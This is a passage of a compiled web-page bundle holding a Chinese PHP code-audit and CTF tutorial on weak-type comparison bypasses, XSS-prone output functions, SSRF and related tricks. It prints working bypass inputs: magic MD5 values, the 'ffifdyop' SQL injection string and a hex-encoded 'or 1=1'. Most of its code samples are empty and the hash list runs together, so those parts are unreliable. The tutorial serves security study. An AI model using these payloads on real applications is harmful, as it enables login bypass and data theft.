right!"}),"\u3002\u90a3\u4e48\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u6211\u4eec\u6765\u5206\u6790\u4e00\u4e0b"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e",(0,r.jsx)(e.code,{children:"$$"}),"\u8fd9\u79cd\u5199\u6cd5\u3002\u8fd9\u79cd\u5199\u6cd5\u79f0\u4e3a\u53ef\u53d8\u53d8\u91cf\u3002\u4e00\u4e2a\u53d8\u91cf\u80fd\u591f\u83b7\u53d6\u4e00\u4e2a\u666e\u901a\u53d8\u91cf\u7684\u503c\u4f5c\u4e3a\u8fd9\u4e2a\u53ef\u53d8\u53d8\u91cf\u7684\u53d8\u91cf\u540d\u3002\u5f53\u4f7f\u7528",(0,r.jsx)(e.code,{children:"foreach"}),"\u6765\u904d\u5386\u6570\u7ec4\u4e2d\u7684\u503c\uff0c\u7136\u540e\u518d\u5c06\u83b7\u53d6\u5230\u7684\u6570\u7ec4\u952e\u540d\u4f5c\u4e3a\u53d8\u91cf\uff0c\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u4f5c\u4e3a\u53d8\u91cf\u7684\u503c\u3002\u8fd9\u6837\u5c31\u4ea7\u751f\u4e86\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\uff0c\u5982\u4e0a\u4ee3\u7801\u793a\u4f8b\u3002\u5176\u6267\u884c\u8fc7\u7a0b\u4e3a",(0,r.jsx)(e.code,{children:"$$key"}),"=",(0,r.jsx)(e.code,{children:"$name"}),"\uff0c\u6700\u540e\u8d4b\u503c\u4e3a",(0,r.jsx)(e.code,{children:"$value"}),"\uff0c\u4ece\u800c\u5b9e\u73b0\u4e86\u53d8\u91cf\u8986\u76d6\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",children:"\u5f31\u7c7b\u578b\u6bd4\u8f83"}),"\n",(0,r.jsx)(e.h3,{id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",children:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.p,{children:"\u5173\u4e8e\u8fd9\u4e24\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u4e0d\u964c\u751f\uff0c\u65e0\u8bba\u662f\u5728\u5b9e\u9645\u4ee3\u7801\u5ba1\u8ba1\u4e2d\uff0c\u8fd8\u662f\u5728CTF\u6bd4\u8d5b\u4e2d\uff0c\u8fd9\u4e9b\u6211\u4eec\u90fd\u662f\u78b0\u5230\u8fc7\u7684\u51fd\u6570\u3002\u90a3\u4e48\u5f53\u6211\u4eec\u9047\u5230\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\u6765\u5224\u65ad\u7684\u65f6\u5019\uff0c\u5982\u679c\u7ed5\u8fc7\u5462\uff1f"}),"\n",(0,r.jsxs)(e.p,{children:["PHP \u5728\u5904\u7406\u54c8\u5e0c\u5b57\u7b26\u4e32\u7684\u65f6\u5019\uff0c\u4f1a\u4f7f\u7528",(0,r.jsx)(e.code,{children:"!="}),"\u6216\u8005",(0,r.jsx)(e.code,{children:"=="}),"\u6765\u5bf9\u54c8\u5e0c\u503c\u8fdb\u884c\u6bd4\u8f83\uff0c\u5b83\u4f1a\u628a\u6bcf\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u90fd\u89e3\u91ca\u4e3a0\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\uff0c\u7ecf\u8fc7\u54c8\u5e0c\u4ee5\u540e\u5b83\u4eec\u90fd\u53d8\u6210\u4e86",(0,r.jsx)(e.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\uff0c\u90a3\u4e48 PHP \u5c31\u4f1a\u5c06\u5b83\u4eec\u89c6\u4f5c\u76f8\u7b49\u5904\u7406\u3002\u90a3\u4e48",(0,r.jsx)(e.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u6709\u54ea\u4e9b\u5462\uff1f"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-text",children:"s878926199a\n0e5459932745177090343288558410s155964671a\n0e3427684168224515249741172544s214587387a\n0e8482404488305379244658656119s214587387a\n0e8482404488305379244658656119s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s1885207154a\n0e5093672134182067008420087635s1502113478a\n0e8615801632915612474043813960s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s155964671a\n0e3427684168224515249741172544s1184209335a\n0e0724858203927733895231090820s1665632922a\n0e7311980614911630731971283637s1502113478a\n0e8615801632915612474043813960s1836677006a\n0e4810364908676611132600349007s1091221200a\n0e9406242178565615578163273846s155964671a\n0e3427684168224515249741172544s1502113478a\n0e8615801632915612474043813960s155964671a\n0e3427684168224515249741172544s1665632922a\n0e7311980614911630731971283637s155964671a\n0e3427684168224515249741172544s1091221200a\n0e9406242178565615578163273846s1836677006a\n0e4810364908676611132600349007s1885207154a\n0e5093672134182067008420087635s532378020a\n0e2204630958555115075880412058s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s214587387a\n0e8482404488305379244658656119s1502113478a\n0e8615801632915612474043813960s1091221200a\n0e9406242178565615578163273846s1665632922a\n0e7311980614911630731971283637s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s1665632922a\n0e7311980614911630731971283637s878926199a\n0e5459932745177090343288558410```\n\n\n\u6765\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u5427\n\n\u4ee3\u7801\u793a\u4f8b\uff1a\n\n```php\n\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u6211\u7ed9\u51fa\u7684\u54ea\u4e9b\u503c\u4e2d\uff0c\u6311\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\u4f20\u5165\u53c2\u6570\uff0c\u5c31\u80fd\u770b\u5230\u76f8\u5e94\u7684\u7ed3\u679c"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u9762\u662f",(0,r.jsx)(e.code,{children:"md5()"}),"\u51fd\u6570\u7684\u7ed5\u8fc7\u59ff\u52bf\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"sha1()"}),"\u5982\u4f55\u7ed5\u8fc7\u5462\uff1f\u518d\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5f53\u6211\u4eec\u4f20\u5165",(0,r.jsx)(e.code,{children:"a[]=1&b[]=2"}),"\u7684\u65f6\u5019\uff0c\u867d\u7136\u5b83\u4f1a\u7ed9\u51fa\u8b66\u544a\uff0c\u8bf4\u6211\u4eec\u5e94\u8be5\u4f20\u5165\u5b57\u7b26\u4e32\u800c\u4e0d\u5e94\u8be5\u662f\u6570\u7ec4\uff0c\u4f46\u662f\u5b83\u8fd8\u662f\u8f93\u51fa\u4e86",(0,r.jsx)(e.code,{children:"nice!!!"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u7528\u6570\u5b57\u6765\u7ed5\u8fc7",(0,r.jsx)(e.code,{children:"sha1()"}),"\u51fd\u6570\u7684\u6bd4\u8f83\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"is_numeric\u7ed5\u8fc7",children:"is_numeric()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u4e86\u89e3\u4e00\u4e0b\u8fd9\u4e2a\u51fd\u6570\u3002\u6b64\u51fd\u6570\u662f\u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"is_numeric( mixed $var) : bool\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c",(0,r.jsx)(e.code,{children:"var"}),"\u662f\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32\u90a3\u4e48\u5c31\u8fd4\u56deTRUE\uff0c\u5426\u5219\u5c31\u8fd4\u56deFALSE\u3002\u90a3\u4e48\u8fd9\u91cc\u8bf4\u7684\u7ed5\u8fc7\u662f\u4ec0\u4e48\u59ff\u52bf\u5462\uff1f\u662f\u5341\u516d\u8fdb\u5236\u3002\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nIt meets my requirement\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u8bf4\u4e00\u4e0b",(0,r.jsx)(e.code,{children:"0x31206f722031"}),"\u8fd9\u4e2a\u662f\u4ec0\u4e48\uff1f\u8fd9\u4e2a\u662f",(0,r.jsx)(e.code,{children:"or 1=1"}),"\u7684\u5341\u516d\u8fdb\u5236\uff0c\u4ece\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\uff0c\u5982\u679c\u67d0\u5904\u4f7f\u7528\u4e86\u6b64\u51fd\u6570\uff0c\u5e76\u5c06\u4fee\u9970\u540e\u7684\u53d8\u91cf\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u80fd\u5229\u7528\u6b64\u6f0f\u6d1e\u5b9e\u73b0sql\u6ce8\u5165\u3002\u540c\u6837\u7684\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u518dCTF\u6bd4\u8d5b\u4e2d\u4e5f\u662f\u5f88\u5e38\u89c1\u7684\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"in_array\u7ed5\u8fc7",children:"in_array()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u68c0\u6d4b\u6570\u7ec4\u4e2d\u662f\u5426\u5b58\u5728\u67d0\u4e2a\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-28",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"needle\uff1a\u5e26\u641c\u7d22\u7684\u503c(\u533a\u5206\u5927\u5c0f\u5199)\u3002"}),"\n",(0,r.jsx)(e.li,{children:"haystack\uff1a\u5e26\u641c\u7d22\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(e.li,{children:["strict\uff1a\u82e5\u6b64\u53c2\u6570\u7684\u503c\u4e3aTRUE\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"in_array()"}),"\u51fd\u6570\u5c06\u4f1a\u68c0\u67e5needle\u7684\u7c7b\u578b\u662f\u5426\u548chaystack\u4e2d\u7684\u7c7b\u578b\u76f8\u540c\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6709\u65f6\u5019\u6211\u4eec\u518d\u4f20\u5165\u4e00\u4e2a\u6570\u7ec4\u7684\u65f6\u5019\uff0c\u4ee3\u7801\u53ef\u80fd\u4f1a\u8fc7\u6ee4\u67d0\u4e9b\u654f\u611f\u5b57\u7b26\u4e32\uff0c\u4f46\u662f\u6211\u4eec\u53c8\u9700\u8981\u4f20\u5165\u8fd9\u6837\u7684\u5b57\u7b26\u4e32\uff0c\u90a3\u4e48\u6211\u4eec\u5e94\u8be5\u5982\u4f55\u7ed5\u8fc7\u5b83\u7684\u68c0\u6d4b\u5462\uff1f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u6267\u884c\u7684\u7ed3\u679c\u4f1a\u662f\u4ec0\u4e48\u5462\uff1f\u4ece\u7b80\u5355\u7684\u903b\u8f91\u4e0a\u5206\u6790\u30020\u662f\u4e0d\u5b58\u5728\u8981\u641c\u7d22\u7684\u6570\u7ec4\u4e2d\u7684\uff0c\u6240\u4ee5\u7406\u8bba\u4e0a\uff0c\u5e94\u8be5\u662f\u8f93\u51fa",(0,r.jsx)(e.code,{children:"not in array"}),"\uff0c\u4f46\u662f\u5b9e\u9645\u5374\u8f93\u51fa\u4e86",(0,r.jsx)(e.code,{children:"It's in array"}),"\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u539f\u56e0\u5c31\u5728\u4e8ePHP\u7684\u9ed8\u8ba4\u7c7b\u578b\u8f6c\u6362\u3002\u8fd9\u91cc\u6211\u4eec\u7b2c\u4e09\u4e2a\u53c2\u6570\u5e76\u6ca1\u6709\u8bbe\u7f6e\u4e3a",(0,r.jsx)(e.code,{children:"true"}),"\u90a3\u4e48\u9ed8\u8ba4\u5c31\u662f\u975e\u4e25\u683c\u6bd4\u8f83\uff0c\u6240\u4ee5\u5728\u6570\u5b57\u4e0e\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83\u65f6\uff0c\u5b57\u7b26\u4e32\u5148\u88ab\u5f3a\u5236\u8f6c\u6362\u6210\u6570\u5b57\uff0c\u7136\u540e\u518d\u8fdb\u884c\u6bd4\u8f83\u3002\u5e76\u4e14\u56e0\u4e3a\u67d0\u4e9b\u7c7b\u578b\u8f6c\u6362\u6b63\u5728\u53d1\u751f\uff0c\u5c31\u4f1a\u5bfc\u81f4\u53d1\u751f\u6570\u636e\u4e22\u5931\uff0c\u5e76\u4e14\u90fd\u88ab\u89c6\u4e3a\u76f8\u540c\u3002\u6240\u4ee5\u5f52\u6839\u5230\u5e95\u8fd8\u662f\u975e\u4e25\u683c\u6bd4\u8f83\u5bfc\u81f4\u7684\u95ee\u9898\u3002\u6240\u4ee5\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7528\u6765\u53d8\u91cf\u68c0\u6d4b\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u5426\u5f00\u542f\uff0c\u82e5\u672a\u5f00\u542f\uff0c\u5219\u5b58\u5728\u6570\u7ec4\u7ed5\u8fc7\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"xss",children:"XSS"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8fd9\u91cc\u9996\u5148\u4f60\u8981\u5bf9XSS\u7684\u57fa\u672c\u539f\u7406\u8981\u77e5\u9053\u3002PHP\u4e2d\u4e00\u4e0b\u8fd9\u4e9b\u51fd\u6570\u4e4b\u6240\u4ee5\u4f1a\u51fa\u73b0XSS\u7684\u6f0f\u6d1e\u60c5\u51b5\uff0c\u4e3b\u8981\u8fd8\u662f\u6ca1\u6709\u5bf9\u8f93\u51fa\u7684\u53d8\u91cf\u8fdb\u884c\u8fc7\u6ee4\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"print",children:"print()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648095.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"print_r",children:"print_r()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648095.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"echo",children:"echo()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u4f20\u5165\u76f8\u5e94\u53c2\u6570\uff0c\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648095.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"printf",children:"printf()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\u548c\u4e0a\u9762\u76f8\u540c\uff0c\u6211\u5c31\u4e0d\u518d\u8d34\u56fe\u7247\u4e86\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"sprintf",children:"sprintf()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"die",children:"die()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u8f93\u51fa\u4e00\u6761\u4fe1\u606f\uff0c\u5e76\u9000\u51fa\u5f53\u524d\u811a\u672c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"var_dump",children:"var_dump()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u6253\u5370\u53d8\u91cf\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u7528\u6765\u663e\u793a\u5173\u4e8e\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u5305\u62ec\u8868\u8fbe\u5f0f\u7684\u7c7b\u578b\u4e0e\u503c\u3002\u6570\u7ec4\u5c06\u9012\u5f52\u5c55\u5f00\u4e4b\uff0c\u901a\u8fc7\u7f29\u8fdb\u663e\u793a\u5176\u7ed3\u6784\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"var_export",children:"var_export()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u8f93\u51fa\u6216\u8005\u8fd4\u56de\u4e00\u4e2a\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u8868\u793a\u3002\u5b83\u8fd4\u56de\u5173\u4e8e\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u7684\u53d8\u91cf\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u548c",(0,r.jsx)(e.code,{children:"var_dump"}),"\u7c7b\u4f3c\uff0c\u4e0d\u540c\u7684\u662f\u5176\u8fd4\u56de\u7684\u8868\u793a\u662f\u5408\u6cd5\u7684 PHP \u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648096.png",alt:"img"})}),"\n",(0,r.jsx)(e.h2,{id:"php\u9ed1\u9b54\u6cd5",children:"PHP\u9ed1\u9b54\u6cd5"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u5927\u90e8\u5206\u51fd\u6570\u7684\u4f7f\u7528\u5df2\u7ecf\u5728\u4e0a\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\u4e86\uff0c\u8fd9\u91cc\u6211\u5c31\u9488\u5bf9\u6bcf\u4e00\u79cd\u51fd\u6570\u5927\u6982\u4ecb\u7ecd\u4e00\u4e0b\u5176\u4e3b\u8981\u5b58\u5728\u7684\u5229\u7528\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"md5",children:"md5()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"md5()"}),"\u51fd\u6570\u7ed5\u8fc7sql\u6ce8\u5165\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"$password=$_POST['password'];\n$sql = \"SELECT * FROM admin WHERE username = 'admin' and password = '\".md5($password,true).\"'\";\n$result=mysqli_query($link,$sql);\nif(mysqli_num_rows($result)>0){\n echo 'flag is :'.$flag;\n}\nelse{\n echo '\u5bc6\u7801\u9519\u8bef!';\n}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u63d0\u4ea4\u7684\u53c2\u6570\u901a\u8fc7",(0,r.jsx)(e.code,{children:"md5"}),"\u51fd\u6570\u5904\u7406\uff0c\u7136\u540e\u518d\u8fdb\u5165SQL\u67e5\u8be2\u8bed\u53e5\uff0c\u6240\u4ee5\u5e38\u89c4\u7684\u6ce8\u5165\u624b\u6bb5\u5c31\u4e0d\u884c\u4e86\uff0c\u90a3\u4e48\u5982\u679cmd5\u540e\u7684\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u683c\u5f0f\u53d8\u6210\u4e86",(0,r.jsx)(e.code,{children:"'or'xxxx"}),"\u7684\u683c\u5f0f\uff0c\u4e0d\u5c31\u53ef\u4ee5\u6ce8\u5165\u4e86\u4e48\u3002",(0,r.jsx)(e.code,{children:"md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c"})]}),"\n",(0,r.jsxs)(e.p,{children:["\u8f6c\u6210\u5b57\u7b26\u4e32\u4e3a",(0,r.jsx)(e.code,{children:"'or'6xxx"})]}),"\n",(0,r.jsx)(e.h3,{id:"eval-1",children:"eval()"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u6267\u884c\u547d\u4ee4\u65f6\uff0c\u53ef\u4f7f\u7528\u5206\u53f7\u6784\u9020\u5904\u591a\u6761\u8bed\u53e5\u3002\u7c7b\u4f3c\u8fd9\u79cd\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"ereg",children:"ereg()"}),"\n",(0,r.jsxs)(e.p,{children:["\u5b58\u5728",(0,r.jsx)(e.code,{children:"%00"}),"\u622a\u65ad\uff0c\u5f53\u9047\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u6765\u8fdb\u884c\u6b63\u5219\u5339\u914d\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u7528",(0,r.jsx)(e.code,{children:"%00"}),"\u6765\u622a\u65ad\u6b63\u5219\u5339\u914d\uff0c\u4ece\u800c\u7ed5\u8fc7\u6b63\u5219\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"strcmp",children:"strcmp()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u5728\u524d\u9762\u4ecb\u7ecd\u8fc7\uff0c\u5c31\u662f\u6570\u7ec4\u7ed5\u8fc7\u6280\u5de7\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"curl_setopt",children:"curl_setopt()"}),"\n",(0,r.jsx)(e.p,{children:"\u5b58\u5728ssrf\u6f0f\u6d1e\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528file\u534f\u8bae\u8fdb\u884c\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648097.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\u8fd8\u6709dict\u534f\u8bae\u67e5\u770b\u7aef\u53e3\u4fe1\u606f\u3002gopher\u534f\u8bae\u53cd\u5f39shell\u5229\u7528\u7b49\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"preg_replace-1",children:"preg_replace()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u524d\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\uff0c/e\u6a21\u5f0f\u4e0b\u7684\u547d\u4ee4\u6267\u884c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"urldecode",children:"urldecode()"}),"\n",(0,r.jsx)(e.p,{children:"url\u4e8c\u6b21\u7f16\u7801\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5c06Ameng\u8fdb\u884c\u4e8c\u6b21url\u7f16\u7801\uff0c\u7136\u540e\u4f20\u5165\u5373\u53ef\u5f97\u5230\u6ee1\u8db3\u6761\u4ef6\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"file_get_contents-1",children:"file_get_contents()"}),"\n",(0,r.jsx)(e.p,{children:"\u5e38\u7528\u4f2a\u534f\u8bae\u6765\u8fdb\u884c\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"parse_url",children:"parse_url()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u4e3b\u8981\u7528\u4e8e\u7ed5\u8fc7\u67d0\u4e9b\u8fc7\u6ee4\uff0c\u5148\u7b80\u5355\u4e86\u89e3\u4e00\u4e0b\u51fd\u6570\u7684\u57fa\u672c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n ( \n [scheme] => http \n [host] => www.jlx-love.com \t\t[path] => /about \n\t)\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u51fd\u6570\u628a\u6211\u4eec\u7684\u53d8\u91cf\u503c\u62c6\u5206\u6210\u4e00\u4e2a\u51e0\u4e2a\u90e8\u5206\u3002\u90a3\u4e48\u7ed5\u8fc7\u8fc7\u6ee4\u53c8\u662f\u8bf4\u7684\u54ea\u56de\u4e8b\u5462\uff1f\u5176\u5b9e\u5c31\u662f\u5f53\u6211\u4eec\u5728\u6d4f\u89c8\u5668\u8f93\u5165url\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u5c06url\u4e2d\u7684\\\u8f6c\u6362\u4e3a/\uff0c\u4ece\u800c\u5c31\u4f1a\u5bfc\u81f4",(0,r.jsx)(e.code,{children:"parse_url"}),"\u7684\u767d\u540d\u5355\u7ed5\u8fc7\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,r.jsx)(e.h3,{id:"\u7b80\u4ecb",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e86\u89e3\u4e00\u4e9b\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u4e86\u89e3\u4ec0\u4e48\u662f\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5e8f\u5217\u5316\uff1a\u628a\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u8282\u5e8f\u5217\u7684\u8fc7\u7a0b\u6210\u4e3a\u5bf9\u8c61\u7684\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u53cd\u5e8f\u5217\u5316\uff1a\u628a\u5b57\u8282\u5e8f\u5217\u6062\u590d\u4e3a\u5bf9\u8c61\u7684\u8fc7\u7a0b\u79f0\u4e3a\u5bf9\u8c61\u7684\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5f52\u6839\u5230\u5e95\uff0c\u5c31\u662f\u5c06\u6570\u636e\u8f6c\u5316\u6210\u4e00\u79cd\u53ef\u9